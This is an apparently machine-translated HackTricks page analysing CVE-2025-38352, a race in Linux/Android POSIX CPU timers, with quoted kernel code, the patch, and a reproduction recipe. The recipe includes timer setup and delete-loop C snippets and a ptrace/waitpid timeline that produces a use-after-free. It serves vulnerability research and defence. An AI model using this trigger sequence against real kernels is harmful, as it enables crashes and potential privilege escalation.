POSIX CPU Timers TOCTOU race (CVE-2025-38352)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie bladsy dokumenteer ’n TOCTOU-wedlooptoestand in Linux/Android POSIX CPU timers wat die timer-state kan korrupteer en die kernel kan laat crash, en onder sekere omstandighede na privilege escalation gelei kan word.
- Geaffekteerde komponent: kernel/time/posix-cpu-timers.c
- Primitiief: expiry vs deletion-wedloop tydens task exit
- Konfiguurasie-sensitief: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Kort interne oorsig (relevant vir eksploitasie)
- Drie CPU-klokke bestuur rekeninghouding vir timers via cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
- Arming voeg inskrywings in ’n per-basis timerqueue in en kan die kas vir volgende verstryking bywerk:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
- Vinnige pad vermy duur verwerking tensy kasgehoude vervaldatums moontlike afgaan aandui:
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
- Verstryking versamel verstreke timers, merk hulle as afgevuur, verwyder hulle uit die ry; werklike aflewering word uitgestel:
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
Twee verstrykingverwerkingsmodusse
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: verstryking word uitgestel via task_work op die teiken-taak
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: verstryking word direk in IRQ-context hanteer
Task_work vs IRQ verstrykingspaaie
```c void run_posix_cpu_timers(void) { struct task_struct *tsk = current; __run_posix_cpu_timers(tsk); } #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK static inline void __run_posix_cpu_timers(struct task_struct *tsk) { if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; tsk->posix_cputimers_work.scheduled = true; task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); } #else static inline void __run_posix_cpu_timers(struct task_struct *tsk) { lockdep_posixtimer_enter(); handle_posix_cpu_timers(tsk); // IRQ-context path lockdep_posixtimer_exit(); } #endif ```In die IRQ-context-pad word die firing list buite die sighand verwerk
IRQ-context afleweringslus
```c static void handle_posix_cpu_timers(struct task_struct *tsk) { struct k_itimer *timer, *next; unsigned long flags, start; LIST_HEAD(firing); if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit do { start = READ_ONCE(jiffies); barrier(); check_thread_timers(tsk, &firing); check_process_timers(tsk, &firing); } while (!posix_cpu_timers_enable_work(tsk, start)); unlock_task_sighand(tsk, &flags); // race window opens here list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { int cpu_firing; spin_lock(&timer->it_lock); list_del_init(&timer->it.cpu.elist); cpu_firing = timer->it.cpu.firing; // read then reset timer->it.cpu.firing = 0; if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); rcu_assign_pointer(timer->it.cpu.handling, NULL); spin_unlock(&timer->it_lock); } } ```Hoof oorsaak: TOCTOU tussen IRQ-tyd verstryking en gelyktydige verwydering tydens taak-uitgang Prevoorvereistes
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is uitgeskakel (IRQ-pad in gebruik)
- Die teikentaak verlaat maar is nog nie volledig verwyder nie
- ’n Ander draad roep terselfdertyd posix_cpu_timer_del() op vir dieselfde timer
Volgorde
- update_process_times() veroorsaak run_posix_cpu_timers() in IRQ-konteks vir die uitgaande taak.
- collect_timerqueue() stel ctmr->firing = 1 en skuif die timer na die tydelike firing list.
- handle_posix_cpu_timers() vrylaat sighand via unlock_task_sighand() om timers buite die lock te lewer.
- Onmiddellik na die ontsluiting kan die uitgaande taak verwyder word; ’n ander draad voer posix_cpu_timer_del() uit.
- In hierdie venster kan posix_cpu_timer_del() misluk om state te bekom via cpu_timer_task_rcu()/lock_task_sighand() en sodoende die normale in-flight beskerming wat timer->it.cpu.firing kontroleer oorslaan. Verwydering gaan voort asof dit nie firing is nie, wat state korrupteer terwyl expiry hanteer word, wat tot crashes/UB lei.
Hoe release_task() en timer_delete() firing timers vrylaat
Selfs nadat handle_posix_cpu_timers() die timer van die taaklys verwyder het, kan ’n ptraced zombie steeds verwyder word. Die waitpid() stack dryf release_task() → __exit_signal(), wat sighand en die signal queues afbreek terwyl ’n ander CPU steeds verwysings na die timer-objek hou:
static void __exit_signal(struct task_struct *tsk)
{
struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
// ... signal cleanup elided ...
tsk->sighand = NULL; // makes future lock_task_sighand() fail
unlock_task_sighand(tsk, NULL);
}
Met sighand ontkoppel, gee timer_delete() steeds sukses terug omdat posix_cpu_timer_del() ret = 0 laat staan wanneer locking misluk, sodat die syscall voortgaan om die objek via RCU vry te gee:
static int posix_cpu_timer_del(struct k_itimer *timer)
{
struct sighand_struct *sighand = lock_task_sighand(p, &flags);
if (unlikely(!sighand))
goto out; // ret stays 0 -> userland sees success
// ... normal unlink path ...
}
SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
if (timer_delete_hook(timer) == TIMER_RETRY)
timer = timer_wait_running(timer, &flags);
posix_timer_unhash_and_free(timer); // call_rcu(k_itimer_rcu_free)
return 0;
}
Omdat die slab-objek deur RCU vrygestel word terwyl die IRQ-konteks steeds die firing-lys deursoek, word hergebruik van die timer-cache ’n UAF-primitive.
Opruiming stuur met ptrace + waitpid
Die maklikste manier om ’n zombie beskikbaar te hou sonder dat dit outomaties opgeruim word, is om ’n nie-leier werker-thread te ptrace. exit_notify() stel eers exit_state = EXIT_ZOMBIE en gaan slegs na EXIT_DEAD as autoreap waar is. Vir ptraced threads bly autoreap = do_notify_parent() false solank SIGCHLD nie geïgnoreer word nie, so release_task() hardloop slegs wanneer die ouer eksplisiet waitpid() aanroep:
- Gebruik pthread_create() binne die tracee sodat die slagoffer nie die thread-group leader is nie (wait_task_zombie() hanteer ptraced nie-leaders).
- Die ouer gee
ptrace(PTRACE_ATTACH, tid)en laterwaitpid(tid, __WALL)om do_wait_pid() → wait_task_zombie() → release_task() aan te dryf. - Pipes of gedeelde geheue dra die presiese TID aan die ouer oor sodat die korrekte werker op versoek opgeruim word.
Hierdie choreografie waarborg ’n venster waarin handle_posix_cpu_timers() steeds na tsk->sighand kan verwys, terwyl ’n daaropvolgende waitpid() dit afbreek en timer_delete() toelaat om dieselfde k_itimer-objek te herroep.
Waarom TASK_WORK-modus per ontwerp veilig is
- Met CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y word verstryking na task_work uitgestel; exit_task_work hardloop voor exit_notify, dus vind die IRQ-tydoorlapping met opruiming nie plaas nie.
- Selfs dan, as die taak reeds aan die uitgaan is, misluk task_work_add(); gating on exit_state maak albei modi konsekwent.
Fix (Android common kernel) and rationale
- Voeg ’n vroeë terugkeer by as die huidige taak besig is om uit te gaan, en blokkeer alle verwerking:
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
- Dit verhoed dat handle_posix_cpu_timers() vir take wat verlaat word betree word, en elimineer die venster waar posix_cpu_timer_del() it.cpu.firing kan mis en in ’n wedloop met die verwerking van verval kan wees.
Impak
- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.
Hoe om die fout te aktiveer (veilig, herhaalbare toestande) Bou/konfigurasie
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. On x86/arm64 the option is normally forced on via HAVE_POSIX_CPU_TIMERS_TASK_WORK, so researchers often patch
kernel/time/Kconfigto expose a manual toggle:
config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y
Dit weerspieël wat Android-verskaffers vir analysis builds gedoen het; upstream x86_64 en arm64 force HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, sodat die kwesbare IRQ-pad hoofsaaklik op 32-bit Android-kernels bestaan waar die opsie uitgelaat is tydens samestelling.
- Voer dit op ’n multi-core VM uit (bv. QEMU
-smp cores=4) sodat parent, child main, and worker threads aan toegewyde CPU’s vasgemaak kan bly.
Runtime-strategie
- Mik op ’n thread wat op die punt staan om te verlaat en heg ’n CPU timer daaraan vas (per-thread or process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
- Gebruik ’n baie kort aanvanklike verstryking en ’n klein interval om die aantal inskrywings in die IRQ-pad te maksimeer:
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
- Van ’n suster-draad, terselfdertyd dieselfde timer verwyder terwyl die teikendraad afsluit:
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
- Wedloopversterkers: hoë skeduleerder-tikfrekwensie, hoë CPU-lading, herhaalde thread exit/re-create-siklusse. Die crash manifesteer gewoonlik wanneer posix_cpu_timer_del() versuim om die firing op te merk weens mislukte task lookup/locking net ná unlock_task_sighand().
Practical PoC orchestration
Thread & IPC choreografie
’n Betroubare reproduseerder fork in ’n ptracing parent en ’n child wat die kwesbare worker thread opstart. Twee pipes (c2p, p2c) lewer die worker TID en beheer elke fase, terwyl ’n pthread_barrier_t verhoed dat die worker sy timer aktiveer totdat die parent aangeheg het. Elke proses of thread word gepinned met sched_setaffinity() (bv. parent op CPU1, child main op CPU0, worker op CPU2) om skeduleerder-ruis te minimaliseer en die race herhaalbaar te hou.
Timer kalibrasie met CLOCK_THREAD_CPUTIME_ID
Die worker aktiveer ’n per-thread CPU timer sodat slegs sy eie CPU-verbruik die sperdatum vooruitbring. ’n Afstelbare wait_time (standaard ≈250 µs van CPU-tyd) plus ’n beperkte busy loop verseker dat exit_notify() EXIT_ZOMBIE stel terwyl die timer op die punt staan om af te gaan:
Minimale per-thread CPU-timer geraamte
```c static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU timestatic void timer_fire(sigval_t unused) { puts(“timer fired”); }
static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, };
pthread_barrier_wait(&barrier); // released by child main after ptrace attach timer_settime(timer, 0, &ts, NULL);
for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting return NULL; // do_exit() keeps burning CPU }
</details>
#### Wedloop-tydlyn
1. Kind-proses vertel die ouer-proses die worker TID via `c2p`, en blokkeer dan op die barrier.
2. Ouer-proses voer `PTRACE_ATTACH` uit, wag in `waitpid(__WALL)`, en gebruik dan `PTRACE_CONT` om die worker te laat voortgaan en uit te laat gaan.
3. Wanneer heuristieke (of handmatige operateurinvoer) aandui dat die timer in die IRQ-side `firing`-lys versamel is, voer die ouer weer `waitpid(tid, __WALL)` uit om release_task() te aktiveer en `tsk->sighand` te laat val.
4. Ouer stuur sein na die child oor `p2c` sodat die child-hoof `timer_delete(timer)` kan aanroep en onmiddellik 'n helper soos `wait_for_rcu()` kan laat loop totdat die timer se RCU callback voltooi.
5. IRQ-konteks hervat uiteindelik `handle_posix_cpu_timers()` en dereferensieer die vrygemaakte `struct k_itimer`, wat KASAN of WARN_ON()s veroorsaak.
#### Opsionele kernel-instrumentering
Vir navorsingsopstellings vergroot die invoeg van 'n debug-only `mdelay(500)` binne handle_posix_cpu_timers() wanneer `tsk->comm == "SLOWME"` die venster, sodat die bogenoemde choreografie byna altyd die wedloop wen. Dieselfde PoC hernoem ook drade (`prctl(PR_SET_NAME, ...)`) sodat kernel logs en breekpunte bevestig dat die verwagte worker opgeraap word.
### Instrumenteringsaanwysers tydens exploitation
- Voeg tracepoints/WARN_ONCE by unlock_task_sighand()/posix_cpu_timer_del() om gevalle te bespeur waar `it.cpu.firing==1` saamval met mislukte cpu_timer_task_rcu()/lock_task_sighand(); moniteer timerqueue-konsistensie wanneer die slagoffer verlaat.
- KASAN rapporteer tipies `slab-use-after-free` binne posix_timer_queue_signal(), terwyl nie-KASAN kernels WARN_ON_ONCE() van send_sigqueue() log wanneer die wedloop land, wat 'n vinnige sukses-aanwyser gee.
Audit-hotspots (vir beoordelaars)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): vertrou op it.cpu.firing om in-vlug verstryking te bespeur; hierdie kontrole word oorgeslaan wanneer taak-lookup/lock misluk tydens exit/reap
Notas vir exploitation-navorsing
- Die bekendgemaakte gedrag is 'n betroubare kernel crash primitive; om dit in privilege escalation te omskep verg gewoonlik 'n addisionele beheerbare oorvleueling (objek-levensduur of write-what-where-invloed) buite die bestek van hierdie samevatting. Behandel enige PoC as potensieel destabiliserend en hardloop slegs in emulators/VMs.
## References
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
- [CVE-2025-38352 – In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
- [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352)
- [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca)
> [!TIP]
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>


